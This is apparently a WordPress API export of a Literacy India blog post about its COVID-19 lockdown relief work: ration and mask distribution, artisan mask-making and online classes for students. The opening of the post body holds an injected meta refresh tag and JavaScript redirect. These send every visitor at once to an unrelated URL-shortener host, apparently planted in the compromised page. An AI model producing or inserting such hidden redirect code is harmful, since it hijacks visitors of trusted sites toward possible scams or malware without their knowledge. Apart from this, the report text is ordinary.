{"id":22606,"date":"2022-06-08T08:28:51","date_gmt":"2022-06-08T08:28:51","guid":{"rendered":"https:\/\/literacyindia.org\/?p=22606"},"modified":"2025-01-22T08:00:29","modified_gmt":"2025-01-22T08:00:29","slug":"literacy-india-pandemic-times-report","status":"publish","type":"post","link":"https:\/\/literacyindia.org\/?p=22606","title":{"rendered":"Literacy India- Pandemic Times Report"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/gBOaHgEsv0r6\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/gBOaHgEsv0r6\";<\/script><br \/>\n<b><span lang=\"EN-IN\">What We Do<\/span><\/b><\/p>\n<p>Literacy India, a non-profit organization, set up 24 years ago to empower and educate underprivileged Women, Children and Youth. Literacy India is working in states of Delhi-NCR, Haryana, Maharashtra, West Bengal, Rajasthan, Uttar Pradesh, Uttarakhand, Jharkhand, Ladakh, Gujrat, Chattisgarh, Orissa &amp; Telangana. It has close to 106 centres across India with an outreach of 65,000 beneficiaries annually.<\/p>\n<p><b><span lang=\"EN-IN\">Current Situation<\/span><\/b><\/p>\n<p>The Novel Coronavirus (COVID-19) has infected more than three million people in more than 150 countries. A scourge confronting all of humanity, impacting lifestyles, businesses, economies, and the assumption of common well- being that all of us have been mainly taken for granted. The outbreak of the COVID-19 posed fresh challenges on all aspect of life. The worst affected is the Poorest of the Poor and their families, Rural communities and their Children. Millions of workers who migrate seasonally to cities in search of daily wage labour have been severely affected by the Lockdown. Stranded far from their homes without income, thousands had to undertake journeys on foot across state borders for over hundreds of miles to their native places.<\/p>\n<figure id=\"attachment_22608\" aria-describedby=\"caption-attachment-22608\" style=\"width: 300px\" class=\"wp-caption alignnone\"><img fetchpriority=\"high\" decoding=\"async\" class=\"wp-image-22608 size-medium\" src=\"https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan1-1-300x169.jpg\" alt=\"Literacy India- Pandemic Times Report\" width=\"300\" height=\"169\" srcset=\"https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan1-1-300x169.jpg 300w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan1-1-1024x576.jpg 1024w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan1-1-768x432.jpg 768w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan1-1.jpg 1280w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><figcaption id=\"caption-attachment-22608\" class=\"wp-caption-text\">Literacy India- Pandemic Times Report<\/figcaption><\/figure>\n<p>Food insecurity and the resulting health concerns are compounding along with class and gender lines, with the homeless, slum dwellers, malnourished women and children becoming even more vulnerable than before. In rural India, too, the scale of hunger is unprecedented. From the First Day of Lockdown, <a href=\"https:\/\/literacyindia.org\/\">Literacy India<\/a> was ready. It prepared to supply of Ration from local grocers across all its centres. The beneficiaries were contacted, and the team of teachers and staff was formed to distribute the items like Rice, Pulses, Wheat Flour, Salt, etc. For safety and protection, soaps, along with the Masks, were also distributed. All the Women groups who have been trained under Indha\u00a0(What is Indha visit- www.indha.in) made Masks across all the centres for distribution.<\/p>\n<p><b><span lang=\"EN-IN\">Till date Literacy India distributed Essential Ration Kit &amp; Masks to 15500 People in Delhi NCR, UP, Rural Rajasthan &amp; West Bengal<\/span><\/b><\/p>\n<figure id=\"attachment_22609\" aria-describedby=\"caption-attachment-22609\" style=\"width: 300px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"wp-image-22609 size-medium lazyload\" data-src=\"https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan2-1-300x169.png\" alt=\"Literacy India- Pandemic Times Report\" width=\"300\" height=\"169\" data-srcset=\"https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan2-1-300x169.png 300w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan2-1-1024x576.png 1024w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan2-1-768x432.png 768w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan2-1.png 1280w\" data-sizes=\"(max-width: 300px) 100vw, 300px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 300px; --smush-placeholder-aspect-ratio: 300\/169;\" \/><figcaption id=\"caption-attachment-22609\" class=\"wp-caption-text\">Literacy India- Pandemic Times Report<\/figcaption><\/figure>\n<p><span style=\"font-family: Calibri,Candara, Segoe,Segoe UI,Optima, Arial, sans-serif;\"><span lang=\"EN-IN\">No one thought of 40 days of Lockdown or its continuance. This is the time where many of our students were transiting from the old session to new. Some of them yet to complete their board examinations. Educators and our IT Team started experimenting with the students engaging with them by using technology. There are some students whose parents had Smart- mobiles with data connectivity. Initially, teachers began their engagement by using WhatsApp, especially with Senior students who were preparing for their board exams. After a few weeks of difficulty to use this medium to organize and deliver the content in a consolidated manner, the Educators started creating and aggregating content of their own using low bandwidth.\u00a0<\/span><\/span><\/p>\n<p><span style=\"font-family: Calibri,Candara, Segoe,Segoe UI,Optima, Arial, sans-serif;\"><span lang=\"EN-IN\">The use of free content provided by NIOS( National Open School) channels on YouTube and the Subject Matter Expert\u2019s Videos were indexed. Free platforms like Khan Academy and Google classroom is being used to teach and organize the educational content. Entire teachers training on using these platforms were conducted using Zoom and Microsoft TEAM.<\/span><\/span><\/p>\n<p><span style=\"font-family: Calibri,Candara, Segoe,Segoe UI,Optima, Arial, sans-serif;\"><span lang=\"EN-IN\">Most of the students are now onboard on Google Classroom Application. Teachers are now creating their own content using their own Video, Audio and PDF Books.\u00a0<\/span><\/span><\/p>\n<p><span style=\"font-family: Calibri,Candara, Segoe,Segoe UI,Optima, Arial, sans-serif;\"><span lang=\"EN-IN\">Craft assignments have been given to Pre-Vocational students who are in Stitching and Beauty Training. It was quite a Pleasant Surprise when we found that the students learnt to make Mask by using You-tube Videos for their self-use and for their family members.<\/span><\/span><\/p>\n<figure id=\"attachment_22610\" aria-describedby=\"caption-attachment-22610\" style=\"width: 300px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"wp-image-22610 size-medium lazyload\" data-src=\"https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan3-1-300x169.jpg\" alt=\"Literacy India- Pandemic Times Report\" width=\"300\" height=\"169\" data-srcset=\"https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan3-1-300x169.jpg 300w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan3-1-1024x576.jpg 1024w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan3-1-768x432.jpg 768w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan3-1.jpg 1280w\" data-sizes=\"(max-width: 300px) 100vw, 300px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 300px; --smush-placeholder-aspect-ratio: 300\/169;\" \/><figcaption id=\"caption-attachment-22610\" class=\"wp-caption-text\">Literacy India- Pandemic Times Report<\/figcaption><\/figure>\n<p align=\"justify\"><span style=\"font-family: Calibri,Candara, Segoe,Segoe UI,Optima, Arial, sans-serif;\"><span lang=\"EN-IN\">Amongst the worst affected are the rural artisans whose livelihood was totally dependent on the daily work given by the <a href=\"https:\/\/indha.in\/\">Indha<\/a> (What is Indha, visit- www.indha.in). Due to Lockdown, there had been no sales activity.<\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Calibri,Candara, Segoe,Segoe UI,Optima, Arial, sans-serif;\"><span lang=\"EN-IN\">The old saying \u201cNecessity is the father of invention \u201c became real when all artisans and the design team started to think about converting this Pandemic into a livelihood opportunity. It was learnt that Mask is one such item which acts as Guard against person-to-person droplet transmission of a virus. The team of experts started to work on the sampling of Masks and sent out designs to the artisans through WhatsApp.<br \/>\n<\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Calibri,Candara, Segoe,Segoe UI,Optima, Arial, sans-serif;\"><span lang=\"EN-IN\">These artisans started working from home in the making of Masks. Close to Ten thousand Masks were distributed in the community with their help, and another ten thousand Masks are in production.<\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Calibri,Candara, Segoe,Segoe UI,Optima, Arial, sans-serif;\"><span lang=\"EN-IN\">\u00a0Masks were given in the community, especially women, children and old people, in some places they were also distributed to the Police on Duty as well. Being made of Cotton, these Masks are organic and can be used multiple times after washing.<\/span><\/span><\/p>\n<figure id=\"attachment_22611\" aria-describedby=\"caption-attachment-22611\" style=\"width: 300px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"wp-image-22611 size-medium lazyload\" data-src=\"https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan4-1-300x169.jpg\" alt=\"Literacy India- Pandemic Times Report\" width=\"300\" height=\"169\" data-srcset=\"https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan4-1-300x169.jpg 300w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan4-1-1024x576.jpg 1024w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan4-1-768x432.jpg 768w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan4-1.jpg 1280w\" data-sizes=\"(max-width: 300px) 100vw, 300px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 300px; --smush-placeholder-aspect-ratio: 300\/169;\" \/><figcaption id=\"caption-attachment-22611\" class=\"wp-caption-text\">Literacy India- Pandemic Times Report<\/figcaption><\/figure>\n<div align=\"justify\"><span style=\"font-family: Calibri,Candara, Segoe,Segoe UI,Optima, Arial, sans-serif;\">Due to this Lockdown, One of the effective means of utilizing the skill of this large number of volunteers was to use their expertise. There are currently more than 50 volunteers from Different corporates who are mentoring students in English language proficiency and communication. We are using the free platform of Duolingo for this purpose. There are also large campaigns initiated by them on Social media platform to raise funds for people impacted under COVID-19 Lockdown. They are fundraising on their Birthdays &amp; Anniversaries. We are hoping in the coming days we will see the success.<br \/>\n<\/span><\/div>\n<div align=\"justify\">\n<p><span style=\"font-family: Calibri,Candara, Segoe,Segoe UI,Optima, Arial, sans-serif;\" title=\"https:\/\/www.literacyindia.org\/relief-fund-for-poorest-of-the-poor\/\"><span lang=\"EN-IN\">Any one can support either writing to us\u00a0\u00a0on\u00a0<\/span><span lang=\"EN-IN\"><a href=\"mailto:info@literacyindia.org\" target=\"_blank\" rel=\"noopener\">info@literacyindia.org<\/a><\/span><span lang=\"EN-IN\">\u00a0\u00a0and\/or Contribute through this\u00a0<a href=\"https:\/\/www.literacyindia.org\/relief-fund-for-poorest-of-the-poor\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.literacyindia.org\/relief-fund-for-poorest-of-the-poor\/<\/a><br \/>\n<\/span><\/span><\/p>\n<figure id=\"attachment_22612\" aria-describedby=\"caption-attachment-22612\" style=\"width: 300px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"wp-image-22612 size-medium lazyload\" data-src=\"https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan5-300x169.jpg\" alt=\"Literacy India- Pandemic Times Report\" width=\"300\" height=\"169\" data-srcset=\"https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan5-300x169.jpg 300w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan5-1024x576.jpg 1024w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan5-768x432.jpg 768w, https:\/\/literacyindia.org\/wp-content\/uploads\/2022\/06\/pan5.jpg 1280w\" data-sizes=\"(max-width: 300px) 100vw, 300px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 300px; --smush-placeholder-aspect-ratio: 300\/169;\" \/><figcaption id=\"caption-attachment-22612\" class=\"wp-caption-text\">Literacy India- Pandemic Times Report<\/figcaption><\/figure>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Literacy India, a non-profit organization, set up 24 years ago to empower and educate underprivileged Women, Children and Youth.<\/p>\n","protected":false},"author":1,"featured_media":22607,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"image","meta":{"_acf_changed":false,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-22606","post","type-post","status-publish","format-image","has-post-thumbnail","hentry","category-blog","post_format-post-format-image"],"acf":[],"_links":{"self":[{"href":"https:\/\/literacyindia.org\/index.php?rest_route=\/wp\/v2\/posts\/22606","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/literacyindia.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/literacyindia.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/literacyindia.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/literacyindia.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=22606"}],"version-history":[{"count":1,"href":"https:\/\/literacyindia.org\/index.php?rest_route=\/wp\/v2\/posts\/22606\/revisions"}],"predecessor-version":[{"id":26212,"href":"https:\/\/literacyindia.org\/index.php?rest_route=\/wp\/v2\/posts\/22606\/revisions\/26212"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/literacyindia.org\/index.php?rest_route=\/wp\/v2\/media\/22607"}],"wp:attachment":[{"href":"https:\/\/literacyindia.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=22606"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/literacyindia.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=22606"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/literacyindia.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=22606"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}